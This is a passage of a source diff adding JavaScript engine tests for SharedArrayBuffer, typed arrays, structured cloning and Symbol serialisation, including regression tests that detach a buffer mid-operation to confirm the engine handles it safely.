js2; tab-width: 40; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * https://creativecommons.org/publicdomain/zero/1.0/ + */ + +// Minimal test cases. Note that on 64-bit a SharedArrayBuffer is +// very expensive under these rules - a 4GB area is reserved for it. +// So don't go allocating a ton of them. +// +// These tests cannot test that sharing works across workers. There +// are or will be tests, in dom/workers, that do that. + +if (!this.SharedArrayBuffer) { + reportCompare(true,true); + quit(0); +} + +var b; + +function testSharedArrayBuffer() { + b = new SharedArrayBuffer("4096"); // Test string conversion, too + assertEq(b instanceof SharedArrayBuffer, true); + assertEq(b.byteLength, 4096); + + b.fnord = "Hi there"; + assertEq(b.fnord, "Hi there"); + + SharedArrayBuffer.prototype.abracadabra = "no wishing for wishes!"; + assertEq(b.abracadabra, "no wishing for wishes!"); + + // SharedArrayBuffer is not a conversion operator, not even for instances of itself + assertThrowsInstanceOf(() => SharedArrayBuffer(b), TypeError); + + // can't convert any other object either + assertThrowsInstanceOf(() => SharedArrayBuffer({}), TypeError); + + // byteLength can be invoked as per normal, indirectly + assertEq(Object.getOwnPropertyDescriptor(SharedArrayBuffer.prototype,"byteLength").get.call(b), 4096); + + // however byteLength is not generic + assertThrowsInstanceOf(() => Object.getOwnPropertyDescriptor(SharedArrayBuffer.prototype,"byteLength").get.call({}), TypeError); + +} + +function testSharedTypedArray() { + var x1 = new Int8Array(b); + var x2 = new Int32Array(b); + + assertEq(ArrayBuffer.isView(x1), true); // ArrayBuffer.isView() works even if the buffer is a SharedArrayBuffer + assertEq(ArrayBuffer.isView(x2), true); + assertEq(ArrayBuffer.isView({}), false); + + assertEq(x1.buffer, b); + assertEq(x2.buffer, b); + + assertEq(x1.byteLength, b.byteLength); + assertEq(x2.byteLength, b.byteLength); + + assertEq(x1.byteOffset, 0); + assertEq(x2.byteOffset, 0); + + assertEq(x1.length, b.byteLength); + assertEq(x2.length, b.byteLength / 4); + + var x3 = new Int8Array(b, 20); + assertEq(x3.length, b.byteLength - 20); + assertEq(x3.byteOffset, 20); + + var x3 = new Int32Array(b, 20, 10); + assertEq(x3.length, 10); + assertEq(x3.byteOffset, 20); + + // Mismatched type + assertThrowsInstanceOf(() => Int8Array(x2), TypeError); + + // Unconvertable object + assertThrowsInstanceOf(() => Int8Array({}), TypeError); + + // negative start + assertThrowsInstanceOf(() => new Int8Array(b, -7), RangeError); + + // not congruent mod element size + assertThrowsInstanceOf(() => new Int32Array(b, 3), RangeError); + + // start out of range + assertThrowsInstanceOf(() => new Int32Array(b, 4104), RangeError); + + // end out of range + assertThrowsInstanceOf(() => new Int32Array(b, 4092, 2), RangeError); + + // Views alias the storage + x2[0] = -1; + assertEq(x1[0], -1); + x1[0] = 1; + x1[1] = 1; + x1[2] = 1; + x1[3] = 1; + assertEq(x2[0], 0x01010101); + + assertEq(x2[5], 0); + x3[0] = -1; + assertEq(x2[5], -1); + + // Out-of-range accesses yield undefined + assertEq(x2[1023], 0); + assertEq(x2[1024], undefined); + assertEq(x2[2047], undefined); +} + +function testSharedTypedArrayMethods() { + var v = new Int32Array(b); + for ( var i=0 ; i < v.length ; i++ ) + v[i] = i; + + // Rudimentary tests - they don't test any boundary conditions + + // subarray + var w = v.subarray(10, 20); + assertEq(w.length, 10); + for ( var i=0 ; i < w.length ; i++ ) + assertEq(w[i], v[i+10]); + for ( var i=0 ; i < w.length ; i++ ) + w[i] = -w[i]; + for ( var i=0 ; i < w.length ; i++ ) + assertEq(w[i], v[i+10]); + + // copyWithin + for ( var i=0 ; i < v.length ; i++ ) + v[i] = i; + v.copyWithin(10, 20, 30); + for ( var i=0 ; i < 10 ; i++ ) + assertEq(v[i], i); + for ( var i=10 ; i < 20 ; i++ ) + assertEq(v[i], v[i+10]); + + // set + for ( var i=0 ; i < v.length ; i++ ) + v[i] = i; + v.set([-1,-2,-3,-4,-5,-6,-7,-8,-9,-10], 5); + for ( var i=5 ; i < 15 ; i++ ) + assertEq(v[i], -i+4); + + // In the following two cases the two arrays will reference the same buffer, + // so there will be an overlapping copy. + // + // Case 1: Read from lower indices than are written + v.set(v.subarray(0, 7), 1); + assertEq(v[0], 0); + assertEq(v[1], 0); + assertEq(v[2], 1); + assertEq(v[3], 2); + assertEq(v[4], 3); + assertEq(v[5], 4); + assertEq(v[6], -1); + assertEq(v[7], -2); + assertEq(v[8], -4); + assertEq(v[9], -5); + + // Case 2: Read from higher indices than are written + v.set(v.subarray(1, 5), 0); + assertEq(v[0], 0); + assertEq(v[1], 1); + assertEq(v[2], 2); + assertEq(v[3], 3); + assertEq(v[4], 3); + assertEq(v[5], 4); + assertEq(v[6], -1); + assertEq(v[7], -2); + assertEq(v[8], -4); + assertEq(v[9], -5); +} + +function testClone1() { + var sab1 = b; + var blob = serialize(sab1, []); + var sab2 = deserialize(blob); + if (typeof sharedAddress != "undefined") + assertEq(sharedAddress(sab1), sharedAddress(sab2)); +} + +function testClone2() { + var sab = b; + var ia1 = new Int32Array(sab); + var blob = serialize(ia1, []); + var ia2 = deserialize(blob); + assertEq(ia1.length, ia2.length); + assertEq(ia1.buffer instanceof SharedArrayBuffer, true); + if (typeof sharedAddress != "undefined") + assertEq(sharedAddress(ia1.buffer), sharedAddress(ia2.buffer)); + ia1[10] = 37; + assertEq(ia2[10], 37); +} + +// Serializing a SharedArrayBuffer should fail if we've set its flag to 'deny' or if +// the flag is bogus. + +function testNoClone() { + // This just tests the API in serialize() + assertThrowsInstanceOf(() => serialize(b, [], {SharedArrayBuffer: false}), Error); + + // This tests the actual cloning functionality - should fail + assertThrowsInstanceOf(() => serialize(b, [], {SharedArrayBuffer: 'deny'}), TypeError); + + // Ditto - should succeed + assertEq(typeof serialize(b, [], {SharedArrayBuffer: 'allow'}), "object"); +} + +// Eventually, this will be prohibited, but for now, allow the SAB to +// appear in the transfer list. See bug 1302036 and bug 1302037. + +function testRedundantTransfer() { + var sab1 = b; + var blob = serialize(sab1, [sab1]); + var sab2 = deserialize(blob); + if (typeof sharedAddress != "undefined") + assertEq(sharedAddress(sab1), sharedAddress(sab2)); +} + +function testApplicable() { + var sab = b; + var x; + + // Just make sure we can create all the view types on shared memory. + + x = new Int32Array(sab); + assertEq(x.length, sab.byteLength / Int32Array.BYTES_PER_ELEMENT); + x = new Uint32Array(sab); + assertEq(x.length, sab.byteLength / Uint32Array.BYTES_PER_ELEMENT); + + x = new Int16Array(sab); + assertEq(x.length, sab.byteLength / Int16Array.BYTES_PER_ELEMENT); + x = new Uint16Array(sab); + assertEq(x.length, sab.byteLength / Uint16Array.BYTES_PER_ELEMENT); + + x = new Int8Array(sab); + assertEq(x.length, sab.byteLength / Int8Array.BYTES_PER_ELEMENT); + x = new Uint8Array(sab); + assertEq(x.length, sab.byteLength / Uint8Array.BYTES_PER_ELEMENT); + + // Though the atomic operations are illegal on Uint8ClampedArray and the + // float arrays, they can still be used to create views on shared memory. + + x = new Uint8ClampedArray(sab); + assertEq(x.length, sab.byteLength / Uint8ClampedArray.BYTES_PER_ELEMENT); + + x = new Float32Array(sab); + assertEq(x.length, sab.byteLength / Float32Array.BYTES_PER_ELEMENT); + x = new Float64Array(sab); + assertEq(x.length, sab.byteLength / Float64Array.BYTES_PER_ELEMENT); +} + +testSharedArrayBuffer(); +testSharedTypedArray(); +testSharedTypedArrayMethods(); +testClone1(); +testClone2(); +testNoClone(); +testRedundantTransfer(); +testApplicable(); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/shell.js b/js/src/tests/js1_8_5/extensions/shell.js new file mode 100644 index 000000000..41bf0af07 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/shell.js @@ -0,0 +1,115 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + + +// The Worker constructor can take a relative URL, but different test runners +// run in different enough environments that it doesn't all just automatically +// work. For the shell, we use just a filename; for the browser, see browser.js. +var workerDir = ''; + +// explicitly turn on js185 +// XXX: The browser currently only supports up to version 1.8 +if (typeof version != 'undefined') +{ + version(185); +} + +// Assert that cloning b does the right thing as far as we can tell. +// Caveat: getters in b must produce the same value each time they're +// called. We may call them several times. +// +// If desc is provided, then the very first thing we do to b is clone it. +// (The self-modifying object test counts on this.) +// +function clone_object_check(b, desc) { + function classOf(obj) { + return Object.prototype.toString.call(obj); + } + + function ownProperties(obj) { + return Object.getOwnPropertyNames(obj). + map(function (p) { return [p, Object.getOwnPropertyDescriptor(obj, p)]; }); + } + + function isCloneable(pair) { + return typeof pair[0] === 'string' && pair[1].enumerable; + } + + function notIndex(p) { + var u = p >>> 0; + return !("" + u == p && u != 0xffffffff); + } + + function assertIsCloneOf(a, b, path) { + assertEq(a === b, false); + + var ca = classOf(a); + assertEq(ca, classOf(b), path); + + assertEq(Object.getPrototypeOf(a), + ca == "[object Object]" ? Object.prototype : Array.prototype, + path); + + // 'b', the original object, may have non-enumerable or XMLName + // properties; ignore them. 'a', the clone, should not have any + // non-enumerable properties (except .length, if it's an Array) or + // XMLName properties. + var pb = ownProperties(b).filter(isCloneable); + var pa = ownProperties(a); + for (var i = 0; i < pa.length; i++) { + assertEq(typeof pa[i][0], "string", "clone should not have E4X properties " + path); + if (!pa[i][1].enumerable) { + if (Array.isArray(a) && pa[i][0] == "length") { + // remove it so that the comparisons below will work + pa.splice(i, 1); + i--; + } else { + throw new Error("non-enumerable clone property " + uneval(pa[i][0]) + " " + path); + } + } + } + + // Check that, apart from properties whose names are array indexes, + // the enumerable properties appear in the same order. + var aNames = pa.map(function (pair) { return pair[1]; }).filter(notIndex); + var bNames = pa.map(function (pair) { return pair[1]; }).filter(notIndex); + assertEq(aNames.join(","), bNames.join(","), path); + + // Check that the lists are the same when including array indexes. + function byName(a, b) { a = a[0]; b = b[0]; return a < b ? -1 : a === b ? 0 : 1; } + pa.sort(byName); + pb.sort(byName); + assertEq(pa.length, pb.length, "should see the same number of properties " + path); + for (var i = 0; i < pa.length; i++) { + var aName = pa[i][0]; + var bName = pb[i][0]; + assertEq(aName, bName, path); + + var path2 = path + "." + aName; + var da = pa[i][1]; + var db = pb[i][1]; + assertEq(da.configurable, true, path2); + assertEq(da.writable, true, path2); + assertEq("value" in da, true, path2); + var va = da.value; + var vb = b[pb[i][0]]; + if (typeof va === "object" && va !== null) + queue.push([va, vb, path2]); + else + assertEq(va, vb, path2); + } + } + + var banner = "while testing clone of " + (desc || uneval(b)); + var a = deserialize(serialize(b)); + var queue = [[a, b, banner]]; + while (queue.length) { + var triple = queue.shift(); + assertIsCloneOf(triple[0], triple[1], triple[2]); + } + + return a; // for further testing +} diff --git a/js/src/tests/js1_8_5/extensions/sps-generators.js b/js/src/tests/js1_8_5/extensions/sps-generators.js new file mode 100644 index 000000000..d99e93c5b --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/sps-generators.js @@ -0,0 +1,39 @@ +// |reftest| skip-if(!xulRuntime.shell) + +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +//----------------------------------------------------------------------------- +var BUGNUMBER = 822041; +var summary = "Live generators should not cache SPS state"; + +print(BUGNUMBER + ": " + summary); + +function gen() { + var x = yield turnoff(); + yield x; + yield 'bye'; +} + +function turnoff() { + print("Turning off profiler\n"); + disableSPSProfiling(); + return 'hi'; +} + +for (var slowAsserts of [ true, false ]) { + // The slowAssertions setting is not expected to matter + if (slowAsserts) + enableSPSProfilingWithSlowAssertions(); + else + enableSPSProfiling(); + + g = gen(); + assertEq(g.next(), 'hi'); + assertEq(g.send('gurgitating...'), 'gurgitating...'); + for (var x in g) + assertEq(x, 'bye'); +} + +// This is really a crashtest +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/symbol-uneval.js b/js/src/tests/js1_8_5/extensions/symbol-uneval.js new file mode 100644 index 000000000..a1c2a9097 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/symbol-uneval.js @@ -0,0 +1,13 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +assertEq(uneval(Symbol.iterator), "Symbol.iterator"); +assertEq(uneval(Symbol()), "Symbol()"); +assertEq(uneval(Symbol("")), 'Symbol("")'); +assertEq(uneval(Symbol("ponies")), 'Symbol("ponies")'); +assertEq(uneval(Symbol.for("ponies")), 'Symbol.for("ponies")'); + +assertEq({glyph: Symbol(undefined)}.toSource(), "({glyph:Symbol()})"); + +if (typeof reportCompare === "function") + reportCompare(0, 0); diff --git a/js/src/tests/js1_8_5/extensions/toSource-0.js b/js/src/tests/js1_8_5/extensions/toSource-0.js new file mode 100644 index 000000000..cdec97be4 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/toSource-0.js @@ -0,0 +1,14 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +assertEq(eval(uneval('\x001')), '\x001'); + +f = eval('(' + (function () { return '\x001'; }).toString() + ')'); +assertEq(f(), '\x001'); + +assertEq(eval('\x001'.toSource()) == '\x001', true); + +if (typeof reportCompare === 'function') + reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/extensions/typedarray-copyWithin-arguments-detaching.js b/js/src/tests/js1_8_5/extensions/typedarray-copyWithin-arguments-detaching.js new file mode 100644 index 000000000..eb1cda6d1 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/typedarray-copyWithin-arguments-detaching.js @@ -0,0 +1,112 @@ +// |reftest| skip-if(!xulRuntime.shell) -- needs detachArrayBuffer() +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +var gTestfile = "typedarray-copyWithin-arguments-detaching.js"; +//----------------------------------------------------------------------------- +var BUGNUMBER = 991981; +var summary = + "%TypedArray.prototype.copyWithin shouldn't misbehave horribly if " + + "index-argument conversion detaches the underlying ArrayBuffer"; + +print(BUGNUMBER + ": " + summary); + +/************** + * BEGIN TEST * + **************/ + +function testBegin() +{ + var ab = new ArrayBuffer(0x1000); + + var begin = + { + valueOf: function() + { + detachArrayBuffer(ab); + return 0x800; + } + }; + + var ta = new Uint8Array(ab); + + var ok = false; + try + { + ta.copyWithin(0, begin, 0x1000); + } + catch (e) + { + ok = true; + } + assertEq(ok, true, "start weirdness should have thrown"); + assertEq(ab.byteLength, 0, "detaching should work for start weirdness"); +} +testBegin(); + +function testEnd() +{ + var ab = new ArrayBuffer(0x1000); + + var end = + { + valueOf: function() + { + detachArrayBuffer(ab); + return 0x1000; + } + }; + + var ta = new Uint8Array(ab); + + var ok = false; + try + { + ta.copyWithin(0, 0x800, end); + } + catch (e) + { + ok = true; + } + assertEq(ok, true, "start weirdness should have thrown"); + assertEq(ab.byteLength, 0, "detaching should work for start weirdness"); +} +testEnd(); + +function testDest() +{ + var ab = new ArrayBuffer(0x1000); + + var dest = + { + valueOf: function() + { + detachArrayBuffer(ab); + return 0; + } + }; + + var ta = new Uint8Array(ab); + + var ok = false; + try + { + ta.copyWithin(dest, 0x800, 0x1000); + } + catch (e) + { + ok = true; + } + assertEq(ok, true, "start weirdness should have thrown"); + assertEq(ab.byteLength, 0, "detaching should work for start weirdness"); +} +testDest(); + +/******************************************************************************/ + +if (typeof reportCompare === "function") + reportCompare(true, true); + +print("Tests complete"); diff --git a/js/src/tests/js1_8_5/extensions/typedarray-set-neutering.js b/js/src/tests/js1_8_5/extensions/typedarray-set-neutering.js new file mode 100644 index 000000000..cd902eb04 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/typedarray-set-neutering.js @@ -0,0 +1,49 @@ +// |reftest| skip-if(!xulRuntime.shell) +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +//----------------------------------------------------------------------------- +var BUGNUMBER = 983344; +var summary = + "Uint8Array.prototype.set issues when this array changes during setting"; + +print(BUGNUMBER + ": " + summary); + +/************** + * BEGIN TEST * + **************/ + +var ab = new ArrayBuffer(200); +var a = new Uint8Array(ab); +var a_2 = new Uint8Array(10); + +var src = [ 10, 20, 30, 40, + 10, 20, 30, 40, + 10, 20, 30, 40, + 10, 20, 30, 40, + 10, 20, 30, 40, + 10, 20, 30, 40, + 10, 20, 30, 40, + 10, 20, 30, 40, + 10, 20, 30, 40, + 10, 20, 30, 40, + ]; +Object.defineProperty(src, 4, { + get: function () { + detachArrayBuffer(ab); + gc(); + return 200; + } +}); + +a.set(src); + +// Not really needed +Array.reverse(a_2); + +/******************************************************************************/ + +if (typeof reportCompare === "function") + reportCompare(true, true); + +print("Tests complete"); diff --git a/js/src/tests/js1_8_5/extensions/typedarray-subarray-of-subarray.js b/js/src/tests/js1_8_5/extensions/typedarray-subarray-of-subarray.js new file mode 100644 index 000000000..fcfb031cb --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/typedarray-subarray-of-subarray.js @@ -0,0 +1,33 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +//----------------------------------------------------------------------------- +var BUGNUMBER = 637643; +var summary = + "new Int8Array([1, 2, 3]).subarray(1).subarray(1)[0] === 3"; + +print(BUGNUMBER + ": " + summary); + +/************** + * BEGIN TEST * + **************/ + +var ta = new Int8Array([1, 2, 3]); +assertEq(ta.length, 3); +assertEq(ta[0], 1); +assertEq(ta[1], 2); +assertEq(ta[2], 3); + +var sa1 = ta.subarray(1); +assertEq(sa1.length, 2); +assertEq(sa1[0], 2); +assertEq(sa1[1], 3); + +var sa2 = sa1.subarray(1); +assertEq(sa2.length, 1); +assertEq(sa2[0], 3); + +if (typeof reportCompare === "function") + reportCompare(true, true); + +print("All tests passed!"); diff --git a/js/src/tests/js1_8_5/extensions/typedarray.js b/js/src/tests/js1_8_5/extensions/typedarray.js new file mode 100644 index 000000000..885f94551 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/typedarray.js @@ -0,0 +1,648 @@ +// |reftest| skip-if(!xulRuntime.shell) +/* -*- Mode: js2; tab-width: 40; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributor: + * Vladimir Vukicevic <vladimir@pobox.com> + */ + +//----------------------------------------------------------------------------- +var BUGNUMBER = 532774; +var summary = 'js typed arrays (webgl arrays)'; +var actual = ''; +var expect = ''; + +//----------------------------------------------------------------------------- +test(); +//----------------------------------------------------------------------------- + +function test() +{ + enterFunc ('test'); + printBugNumber(BUGNUMBER); + printStatus(summary); + + var TestPassCount = 0; + var TestFailCount = 0; + var TestTodoCount = 0; + + var TODO = 1; + + function check(fun, msg, todo) { + var thrown = null; + var success = false; + try { + success = fun(); + } catch (x) { + thrown = x; + } + + if (thrown) + success = false; + + if (todo) { + TestTodoCount++; + + if (success) { + var ex = new Error; + print ("=== TODO but PASSED? ==="); + print (ex.stack); + print ("========================"); + } + + return; + } + + if (success) { + TestPassCount++; + } else { + TestFailCount++; + + var ex = new Error; + print ("=== FAILED ==="); + if (msg) + print (msg); + print (ex.stack); + if (thrown) { + print (" threw exception:"); + print (thrown); + } + print ("=============="); + } + } + + function checkThrows(fun, type, todo) { + var thrown = false; + try { + fun(); + } catch (x) { + thrown = x; + } + + if (typeof(type) !== 'undefined') + if (thrown) { + check(() => thrown instanceof type, + "expected " + type.name + " but saw " + thrown, + todo); + } else { + check(() => thrown, "expected " + type.name + " but no exception thrown", todo); + } + else + check(() => thrown, undefined, todo); + } + + function checkThrowsTODO(fun, type) { + checkThrows(fun, type, true); + } + + function testBufferManagement() { + // Single buffer + var buffer = new ArrayBuffer(128); + buffer = null; + gc(); + + // Buffer with single view, kill the view first + buffer = new ArrayBuffer(128); + var v1 = new Uint8Array(buffer); + gc(); + v1 = null; + gc(); + buffer = null; + gc(); + + // Buffer with single view, kill the buffer first + buffer = new ArrayBuffer(128); + v1 = new Uint8Array(buffer); + gc(); + buffer = null; + gc(); + v1 = null; + gc(); + + // Buffer with multiple views, kill first view first + buffer = new ArrayBuffer(128); + v1 = new Uint8Array(buffer); + v2 = new Uint8Array(buffer); + gc(); + v1 = null; + gc(); + v2 = null; + gc(); + + // Buffer with multiple views, kill second view first + buffer = new ArrayBuffer(128); + v1 = new Uint8Array(buffer); + v2 = new Uint8Array(buffer); + gc(); + v2 = null; + gc(); + v1 = null; + gc(); + + // Buffer with multiple views, kill all possible subsets of views + buffer = new ArrayBuffer(128); + for (let order = 0; order < 16; order++) { + var views = [ new Uint8Array(buffer), + new Uint8Array(buffer), + new Uint8Array(buffer), + new Uint8Array(buffer) ]; + gc(); + + // Kill views according to the bits set in 'order' + for (let i = 0; i < 4; i++) { + if (order & (1 << i)) + views[i] = null; + } + + gc(); + + views = null; + gc(); + } + + // Similar: multiple views, kill them one at a time in every possible order + buffer = new ArrayBuffer(128); + for (let order = 0; order < 4*3*2*1; order++) { + var views = [ new Uint8Array(buffer), + new Uint8Array(buffer), + new Uint8Array(buffer), + new Uint8Array(buffer) ]; + gc(); + + var sequence = [ 0, 1, 2, 3 ]; + let groupsize = 4*3*2*1; + let o = order; + for (let i = 4; i > 0; i--) { + groupsize = groupsize / i; + let which = Math.floor(o/groupsize); + [ sequence[i-1], sequence[which] ] = [ sequence[which], sequence[i-1] ]; + o = o % groupsize; + } + + for (let i = 0; i < 4; i++) { + views[i] = null; + gc(); + } + } + + // Multiple buffers with multiple views + var views = []; + for (let numViews of [ 1, 2, 0, 3, 2, 1 ]) { + buffer = new ArrayBuffer(128); + for (let viewNum = 0; viewNum < numViews; viewNum++) { + views.push(new Int8Array(buffer)); + } + } + + gcparam('markStackLimit', 200); + var forceOverflow = [ buffer ]; + for (let i = 0; i < 1000; i++) { + forceOverflow = [ forceOverflow ]; + } + gc(); + buffer = null; + views = null; + gcslice(3); gcslice(3); gcslice(3); gcslice(3); gcslice(3); gcslice(3); gc(); + } + + var buf, buf2; + + buf = new ArrayBuffer(100); + check(() => buf); + check(() => buf.byteLength == 100); + + buf.byteLength = 50; + check(() => buf.byteLength == 100); + + var zerobuf = new ArrayBuffer(0); + check(() => zerobuf); + check(() => zerobuf.byteLength == 0); + + check(() => (new Int32Array(zerobuf)).length == 0); + checkThrows(() => new Int32Array(zerobuf, 1)); + + var zerobuf2 = new ArrayBuffer(); + check(() => zerobuf2.byteLength == 0); + + checkThrows(() => new ArrayBuffer(-100), RangeError); + // this is using js_ValueToECMAUInt32, which is giving 0 for "abc" + checkThrowsTODO(() => new ArrayBuffer("abc"), TypeError); + + var zeroarray = new Int32Array(0); + check(() => zeroarray.length == 0); + check(() => zeroarray.byteLength == 0); + check(() => zeroarray.buffer); + check(() => zeroarray.buffer.byteLength == 0); + + var zeroarray2 = new Int32Array(); + check(() => zeroarray2.length == 0); + check(() => zeroarray2.byteLength == 0); + check(() => zeroarray2.buffer); + check(() => zeroarray2.buffer.byteLength == 0); + + var a = new Int32Array(20); + check(() => a); + check(() => a.length == 20); + check(() => a.byteLength == 80); + check(() => a.byteOffset == 0); + check(() => a.buffer); + check(() => a.buffer.byteLength == 80); + + var b = new Uint8Array(a.buffer, 4, 4); + check(() => b); + check(() => b.length == 4); + check(() => b.byteLength == 4); + check(() => a.buffer == b.buffer); + + b[0] = 0xaa; + b[1] = 0xbb; + b[2] = 0xcc; + b[3] = 0xdd; + + check(() => a[0] == 0); + check(() => a[1] != 0); + check(() => a[2] == 0); + + buf = new ArrayBuffer(4); + check(() => (new Int8Array(buf)).length == 4); + check(() => (new Uint8Array(buf)).length == 4); + check(() => (new Int16Array(buf)).length == 2); + check(() => (new Uint16Array(buf)).length == 2); + check(() => (new Int32Array(buf)).length == 1); + check(() => (new Uint32Array(buf)).length == 1); + check(() => (new Float32Array(buf)).length == 1); + checkThrows(() => (new Float64Array(buf))); + buf2 = new ArrayBuffer(8); + check(() => (new Float64Array(buf2)).length == 1); + + buf = new ArrayBuffer(5); + check(() => buf); + check(() => buf.byteLength == 5); + + check(() => new Int32Array(buf, 0, 1)); + checkThrows(() => new Int32Array(buf, 0)); + check(() => new Int8Array(buf, 0)); + + check(() => (new Int8Array(buf, 3)).byteLength == 2); + checkThrows(() => new Int8Array(buf, 500)); + checkThrows(() => new Int8Array(buf, 0, 50)); + checkThrows(() => new Float32Array(buf, 500)); + checkThrows(() => new Float32Array(buf, 0, 50)); + + var sl = a.subarray(5,10); + check(() => sl.length == 5); + check(() => sl.buffer == a.buffer); + check(() => sl.byteLength == 20); + check(() => sl.byteOffset == 20); + + check(() => a.subarray(5,5).length == 0); + check(() => a.subarray(-5).length == 5); + check(() => a.subarray(-100).length == 20); + check(() => a.subarray(0, 2).length == 2); + check(() => a.subarray().length == a.length); + check(() => a.subarray(-7,-5).length == 2); + check(() => a.subarray(-5,-7).length == 0); + check(() => a.subarray(15).length == 5); + + a = new Uint8Array([0xaa, 0xbb, 0xcc]); + check(() => a.length == 3); + check(() => a.byteLength == 3); + check(() => a[1] == 0xbb); + + // not sure if this is supposed to throw or to treat "foo"" as 0. + checkThrowsTODO(() => new Int32Array([0xaa, "foo", 0xbb]), Error); + + checkThrows(() => new Int32Array(-100)); + + a = new Uint8Array(3); + // XXX these are ignored now and return undefined + //checkThrows(() => a[5000] = 0, RangeError); + //checkThrows(() => a["hello"] = 0, TypeError); + //checkThrows(() => a[-10] = 0, RangeError); + check(() => (a[0] = "10") && (a[0] == 10)); + + // check Uint8ClampedArray, which is an extension to this extension + a = new Uint8ClampedArray(4); + a[0] = 128; + a[1] = 512; + a[2] = -123.723; + a[3] = "foopy"; + + check(() => a[0] == 128); + check(() => a[1] == 255); + check(() => a[2] == 0); + check(() => a[3] == 0); + + // check handling of holes and non-numeric values + var x = Array(5); + x[0] = "hello"; + x[1] = { }; + //x[2] is a hole + x[3] = undefined; + x[4] = true; + + a = new Uint8Array(x); + check(() => a[0] == 0); + check(() => a[1] == 0); + check(() => a[2] == 0); + check(() => a[3] == 0); + check(() => a[4] == 1); + + a = new Float32Array(x); + check(() => !(a[0] == a[0])); + check(() => !(a[1] == a[1])); + check(() => !(a[2] == a[2])); + check(() => !(a[3] == a[3])); + check(() => a[4] == 1); + + // test set() + var empty = new Int32Array(0); + a = new Int32Array(9); + + empty.set([]); + empty.set([], 0); + empty.set(empty); + + checkThrows(() => empty.set([1])); + checkThrows(() => empty.set([1], 0)); + checkThrows(() => empty.set([1], 1)); + + a.set([]); + a.set([], 3); + a.set([], 9); + a.set(a); + + a.set(empty); + a.set(empty, 3); + a.set(empty, 9); + a.set(Array.prototype); + checkThrows(() => a.set(empty, 100)); + + checkThrows(() => a.set([1,2,3,4,5,6,7,8,9,10])); + checkThrows(() => a.set([1,2,3,4,5,6,7,8,9,10], 0)); + checkThrows(() => a.set([1,2,3,4,5,6,7,8,9,10], 0x7fffffff)); + checkThrows(() => a.set([1,2,3,4,5,6,7,8,9,10], 0xffffffff)); + checkThrows(() => a.set([1,2,3,4,5,6], 6)); + + checkThrows(() => a.set(new Array(0x7fffffff))); + checkThrows(() => a.set([1,2,3], 2147483647)); + + a.set(ArrayBuffer.prototype); + checkThrows(() => a.set(Int16Array.prototype), TypeError); + checkThrows(() => a.set(Int32Array.prototype), TypeError); + + a.set([1,2,3]); + a.set([4,5,6], 3); + check(() => + a[0] == 1 && a[1] == 2 && a[2] == 3 && + a[3] == 4 && a[4] == 5 && a[5] == 6 && + a[6] == 0 && a[7] == 0 && a[8] == 0); + + b = new Float32Array([7,8,9]); + a.set(b, 0); + a.set(b, 3); + check(() => + a[0] == 7 && a[1] == 8 && a[2] == 9 && + a[3] == 7 && a[4] == 8 && a[5] == 9 && + a[6] == 0 && a[7] == 0 && a[8] == 0); + a.set(a.subarray(0,3), 6); + check(() => + a[0] == 7 && a[1] == 8 && a[2] == 9 && + a[3] == 7 && a[4] == 8 && a[5] == 9 && + a[6] == 7 && a[7] == 8 && a[8] == 9); + + a.set([1,2,3,4,5,6,7,8,9]); + a.set(a.subarray(0,6), 3); + check(() => + a[0] == 1 && a[1] == 2 && a[2] == 3 && + a[3] == 1 && a[4] == 2 && a[5] == 3 && + a[6] == 4 && a[7] == 5 && a[8] == 6); + + a.set(a.subarray(3,9), 0); + check(() => + a[0] == 1 && a[1] == 2 && a[2] == 3 && + a[3] == 4 && a[4] == 5 && a[5] == 6 && + a[6] == 4 && a[7] == 5 && a[8] == 6); + + // verify that subarray() returns a new view that + // references the same buffer + a.subarray(0,3).set(a.subarray(3,6), 0); + check(() => + a[0] == 4 && a[1] == 5 && a[2] == 6 && + a[3] == 4 && a[4] == 5 && a[5] == 6 && + a[6] == 4 && a[7] == 5 && a[8] == 6); + + a = new ArrayBuffer(0x10); + checkThrows(() => new Uint32Array(buffer, 4, 0x3FFFFFFF)); + + checkThrows(() => new Float32Array(null)); + + a = new Uint8Array(0x100); + b = Uint32Array.prototype.subarray.apply(a, [0, 0x100]); + check(() => Object.prototype.toString.call(b) === "[object Uint8Array]"); + check(() => b.buffer === a.buffer); + check(() => b.length === a.length); + check(() => b.byteLength === a.byteLength); + check(() => b.byteOffset === a.byteOffset); + check(() => b.BYTES_PER_ELEMENT === a.BYTES_PER_ELEMENT); + + // webidl section 4.4.6, getter bullet point 2.2: prototypes are not + // platform objects, and calling the getter of any attribute defined on the + // interface should throw a TypeError according to + checkThrows(() => ArrayBuffer.prototype.byteLength, TypeError); + checkThrows(() => Int32Array.prototype.length, TypeError); + checkThrows(() => Int32Array.prototype.byteLength, TypeError); + checkThrows(() => Int32Array.prototype.byteOffset, TypeError); + checkThrows(() => Float64Array.prototype.length, TypeError); + checkThrows(() => Float64Array.prototype.byteLength, TypeError); + checkThrows(() => Float64Array.prototype.byteOffset, TypeError); + + // webidl 4.4.6: a readonly attribute's setter is 